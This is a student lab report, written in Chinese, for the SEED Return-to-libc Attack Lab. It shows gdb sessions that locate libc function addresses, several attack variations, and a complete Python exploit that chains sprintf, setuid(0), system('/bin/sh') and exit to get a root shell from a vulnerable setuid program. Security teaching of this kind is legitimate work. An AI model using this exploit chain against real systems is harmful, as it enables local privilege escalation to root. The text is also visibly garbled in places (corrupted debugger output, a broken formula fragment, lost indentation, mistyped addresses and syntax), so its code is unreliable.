## 网络空间安全实验基础实验报告

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1. 实验内容

### Return-to-libc Attack Lab

2. 实验过程

## Task1

```
关闭地址随机化
sudo sysctl -w kernel.randomize_va_space=0
连接/bin/sh 到 zsh
sudo ln -sf /bin/zsh /bin/sh
使用 gdb
[07/13/21]seed@VM:-/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retl
sudo chown root retlib && sudo chmod 4755 retlib
[07/13/21]seed@VM:~/.../Labsetup$ touch badfile
[07/13/21]seed@VM:-/.../Labsetup$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did
you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Di
d you mean "=="?
  if pyversion is 3:
Reading symbols from retlib ...
(No debugging symbols found in retlib)
gdb-peda$ break main
Breakpoint 1 at 0x565562ef
```

```
gdb-peda$ run
Starting program: /home/seed/Desktop/Labs 20.04/Software Security/Return-
to-Libc Attack Lab (32-bit)/Labsetup/retlib
[-----registers-----
EAX: 0xf7fb6808 --> 0xffffd15c --> 0xffffd35a ("SHELL=/bin/bash")
EBX: 0x0
ECX: 0x3db9ee9b
EDX: 0xffffd0e4 --> 0x0
ESI: 0xf7fb4000 --> 0xle6d6c
EDI: 0xf7fb4000 --> 0xle6d6c
EBP: 0x0
ESP: 0xfffffd0bc --> 0xf7debee5 (< libc start main+245>: add es
p,0x10)
EIP: 0x565562ef (<main>:
                            endbr32)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction ove
[-----
          -----code------
-----]
  0x565562ea <foo+58>: mov ebx,DWORD PTR [ebp-0x4]
  0x565562ed <foo+61>: leave
  0x565562ee <foo+62>: ret
=> 0x565562ef <main>: endbr32
  0x565562f3 <main+4>: lea ecx,[esp+0x4]
                         esp,0xfffffff0
  0x565562f7 <main+8>: and
  0x565562fa <main+11>: push DWORD PTR [ecx-0x4]
                           push
  0x565562fd <main+14>:
                                 ebp
[-----stack------
[-----stack-----
9000| 0xfffffd0bc --> 0xf7debee5 (< libc_start main+245>: add es
p,0x10)
9004| 0xffffd0c0 --> 0x1
9008| 0xffffd0c4 --> 0xffffd154 --> 0xffffd2f7 ("/home/seed/Desktop/Labs
20.04/Software Security/Return-to-Libc Attack Lab (32-bit)/Labsetup/retli
0012| 0xffffd0c8 --> 0xffffd15c --> 0xffffd35a ("SHELL=/bin/bash")
9016| 0xffffd0cc --> 0xffffd0e4 --> 0x0
9020| 0xffffd0d0 --> 0xf7fb4000 --> 0xle6d6c
0024| 0xffffd0d4 --> 0xf7ffd000 --> 0x2bf24
9028 0xffffd0d8 --> 0xffffd138 --> 0xffffd154 --> 0xffffd2f7 ("/home/see
d/Desktop/Labs_20.04/Software Security/Return-to-Libc Attack Lab (32-bit)
/Labsetup/retlib")
-----]
Legend: code, data, rodata, value
Breakpoint 1, 0x565562ef in main ()
得到:
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
```

# Task 2

新建环境变量

```
[07/13/21]seed@VM:-/.../Labsetup$ export MYSHELL=/bin/sh
[07/13/21]seed@VM:-/.../Labsetup$ env | grep MYSHELL
MYSHELL=/bin/sh
[07/13/21]seed@VM:-/.../Labsetup$ make
gcc -m32 -DBUF SIZE=12 -fno-stack-protector -z noexecstack -o retlib
retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
运行 retlib
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib
ffffd3d4
Address of input[] inside main(): 0xffffcd6c
Input size: 0
Address of buffer[] inside bof(): 0xffffcd30
Frame Pointer value inside bof(): 0xffffcd48
Segmentation fault
其中 fffd3d4 即 MYSHELL 的地址
Task3
X 是 4 的倍数, Y=X-8, Z=X-4, 修改 X 的值, 进行尝试
攻击不成功时, 如下图所示
masii. ./ierrin no sucii iire oi alierroiy
[07/13/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF SIZE=12 -fno-stack-protector -z noexecstack -o
retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib
ffffd3d4
Segmentation fault
当 X=36 时,攻击成功,如图
[07/13/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main(): 0xffffcd70
Input size: 300
Address of buffer[] inside bof(): 0xffffcd40
Frame Pointer value inside bof():
                                          0xffffcd58
#
```

Attack variation 1: Is the exit() function really necessary? Please try your attack without including the address of this function in badfile. Run your attack again, report and explain your observations.

根据题意,将 exploit.py 中 exit 部分注释掉,再次运行,当退出时,发生错误,所以 exit()是必要的。

```
[07/13/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main(): 0xffffcd70
Input size: 300
Address of buffer[] inside bof(): 0xffffcd40
Frame Pointer value inside bof(): 0xffffcd58
# exit
Segmentation fault
```

Attack variation 2: After your attack is successful, change the file name of retlib to a different name, making sure that the length of the new file name is different. For example, you can change it to newretlib. Repeat the attack (without changing the content of badfile). Will your attack succeed or not? If it does not succeed, explain why.

将文件 retlib 改名为 newwretlib,运行发现提权失败

```
[07/19/21]seed@VM:~/.../Labsetup$ ./newretlib
Address of input[] inside main(): 0xffffcd5c
Input size: 300
Address of buffer[] inside bof(): 0xffffcd20
Frame Pointer value inside bof(): 0xffffcd38
zsh:1: command not found: h
改名为 aaalib, 运行发现提权成功。
[07/19/21]seed@VM:~/.../Labsetup$ ./aaalib
Address of input[] inside main(): 0xffffcd60
Input size: 300
Address of buffer[] inside bof(): 0xffffcd30
Frame Pointer value inside bof(): 0xffffcd48
#
```

即攻击成功与否与程序名的长度有关。

## Task4

```
修改路径
[07/19/21]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/dash /bin/sh 获取 libc 函数地址
gdb-peda$ p sprintf
$1 = {<text variable, no debug info>} 0xf7e20e40 <sprintf>
gdb-peda$ p setuid
$2 = {<text variable, no debug info>} 0xf7e99e30 <setuid>
gdb-peda$ p system
$3 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$4 = {<text variable, no debug info>} 0xf7e04f80 <exit>
$\frac{a}{2} \text variable, no debug info>} \text{ $\frac{a}{2} \text{ $\fra
```

```
UX5655628D <+62>:
                                 push
                                            eax
   0x5655628c <+63>:
                                  call
                                            0x565560b0 <printf@plt>
   0x56556291 <+68>:
                                  add
                                            esp,0x10
   0x56556294 <+71>:
                                 sub
                                            esp,0x8
   0x56556297 <+74>:
                                            DWORD PTR [ebp+0x8]
                                  push
   0x5655629a <+77>:
                                            eax, [ebp-0x18]
                                  lea
   0x5655629d <+80>:
                                 push
                                            eax
   0x5655629e <+81>:
                                 call
                                            0x565560d0 <strcpy@plt>
   0x565562a3 <+86>:
                                 add
                                            esp,0x10
   0x565562a6 <+89>:
                                 mov
                                            eax,0x1
   0x565562ab <+94>:
                                 mov
                                            ebx, DWORD PTR [ebp-0x4]
   0x565562ae <+97>:
                                 leave
   0x565562af <+98>:
                                  ret
根据打印出的 ebp 地址和 MYSHELL 地址,修改 exploit.py
#!/usr/bin/python3
import sys
def tobytes (value):
return (value).to_bytes(4, byteorder= 'little')
content bytearray(0xaa for i in range (24))
sh_addr = 0xffffd3e3
leaveret = 0x565562ce
sprintf_addr = 0xf7e20e40
setuid_addr = 0xf7e99e30
system_addr = 0xf7e12420
exit_addr = 0xf7e4f80
ebp\_bof = 0xffffcd58
# setuid()'s 1st argument
sprintf_argl = ebp_bof + 12 + 5*0x20
# a byte that contains 0x00
sprintf_arg2 = sh_addr + len("/bin/sh")
# Use leaveret to return to the first sprintf()
ebp\_next = ebp\_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)
# sprintf(sprintf_argl, sprintf_arg2)
for i in range(4):
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(sprintf_addr)
content += tobytes(leaveret)
content += tobytes(sprintf_arg1)
content += tobytes(sprintf_arg2)
content += b'A' * (0x20 - 5*4)
sprintf_argl += 1
```

```
# setuid(0)
ebp next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFF)
content += b'A' * (0x20 - 4*4)
# system("/bin/sh")
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4*4)
# exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)
# Write the content to a file
with open("badfile", "wb") as f:
f.write (content)
运行程序,成功提权
[07/19/21]seed@VM:-/.../Labsetup$ make
gcc -m32 -DBUF SIZE=12 -fno-stack-protector -z noexecstack -o retl
ib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[07/19/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/19/21]seed@VM:~/.../Labsetup$ ./retlib
ffffd3c3
Address of input[] inside main(): 0xffffcd5c
Input size: 300
Address of buffer[] inside bof(): 0xffffcd20
Frame Pointer value inside bof(): 0xffffcd38
# whoami
root
```